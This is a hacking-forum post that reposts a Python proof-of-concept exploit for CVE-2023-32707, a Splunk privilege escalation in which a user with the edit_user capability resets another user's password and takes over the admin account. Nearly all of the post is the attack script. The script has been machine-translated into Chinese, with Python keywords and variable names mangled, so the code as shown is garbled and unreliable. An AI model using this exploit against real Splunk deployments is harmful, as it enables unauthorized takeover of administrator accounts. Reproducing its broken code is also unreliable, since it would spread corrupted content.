H

Splunk 9.0.5-管理员帐户接管

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#!/usr/bin/env Python3

#利用标题: Splunk 9.0.5-管理员帐户接管
#作者: [Redway Security](https://twitter.com/REDWAYSEC))
#Discovery: [Santiago Lopez](https://twitter.com/santi_lopezz99)
#CVE: CVE-2023-32707
#供应商Description:具有“ Edit_user”功能的角色的低特点用户
#通过提供专门精心设计的Web请求,可以将其特权升级到管理用户的特权。

#版本影响了: Splunk Enterprise ** ** 9.0.5、8.2.11和8.1.14。

导入argparse
导入请求
导入随机
导入字符串
导入基础64
#忽略警告
导入urllib3
urllib3.disable_warnings(urllib3.exceptions.insecurreequestwarning)
#解析命令行参数
parser=argparse.argumentparser(description='splunk身份验证')
parser.add_argument(' - 主机',必需=true,help='splunk主机或IP地址')
parser.add_argument(' - 用户名',必需=true,help='splunk用户名')
parser.add_argument(' - 密码',必需=true,help='splunk密码')
parser.add_argument(' - target-user',必需=true,help='target用户')
parser.add_argument(' - force-exploit',action='store_true',
help='力剥削')
args=parser.parse_args()
#Splunk服务器设置
splunk_host=args.host.split(':')[0]
splunk_username=args.username
splunk_password=args.password
target_user=args.target_user
force_exploit=args.force_exploit
splunch_port=args.host.split(':')[1]如果len(args.host.split(':'))1其他8089
user_endpoint=f'https://{splunk_host} : {splunk_port}/services/authentication/users'
凭据=f'{splunk_username} : {splunk_password}'
BASE64_CREDENTIONS=base64.b64encode(recertentials.encode())。decode()
标题={
'用户代理:'Mozilla/5.0(X11; Linux X86_64; rv:109.0)壁虎/20100101 Firefox/109.0',
'授权': f'basic {base64_credentials}'
}
代理={
#'http':'[3http://127.0.0.0.1:8080']
#'https':'http://127.0.0.1:8080'
}
wendmess=requests.get(f'{user_endpoint}/{splunk_username}?output_mode=json',
标题=标题,proxies=代理,验证=false)
if antsphy.status_code==200:
affected_versions=['9.0.4','8.2.10','8.1.13']
user=wendesp.json()
splunk_version=用户['generator'] ['version']
#这不是比较版本的好方法。
#有多种版本受此CVE的影响,但这只是一个POC
#8.1.0至8.1.13
#8.2.0至8.2.10
#9.0.0至9.0.4
打印(f'DeTected Splunk版本'{splunk_version}'')
如果有(splunk_version=affected_versions中的值的值)或force_exploit:
user_capabilities=用户['entry'] [0] ['content'] ['dabsibilities']
如果在user_capabilities:中的'edit_user'
打印(
f'user'{splunk_username}'具有“ edit_user”功能,这将使此目标探索。')
new_password=''.join(random.choice(choice)(
string.ascii_letters + string.digits)在范围内(8))
change_password_payload={
'password': new_password,
'力变化-PASS': 0,
“锁定” : 0
}
wendmess=requests.post(f'{user_endpoint}/{target_user}?output_mode=json',
data=change_password_payload,headers=标题,代理=代理,验证=false)
if antsphy.status_code==200:
打印(
f'successcesscect offect of user'{target_user}',用密码登录到splunk'{new_password}'')
其他:
打印(“帐户失败”)
其他:
打印(
f'user'{splunk_username}'没有“ edit_user”功能,这使得此目标无法探索此用户。')
其他:
print(f'splunk版本'{splunk_version}'不受cve-2023-32707'的影响
其他:
打印(
f'c不得对splunk server'{splunk_host}'with用户'{splunk_username}'和password'{splunk_password}'')
出口(1)
 
后退
顶部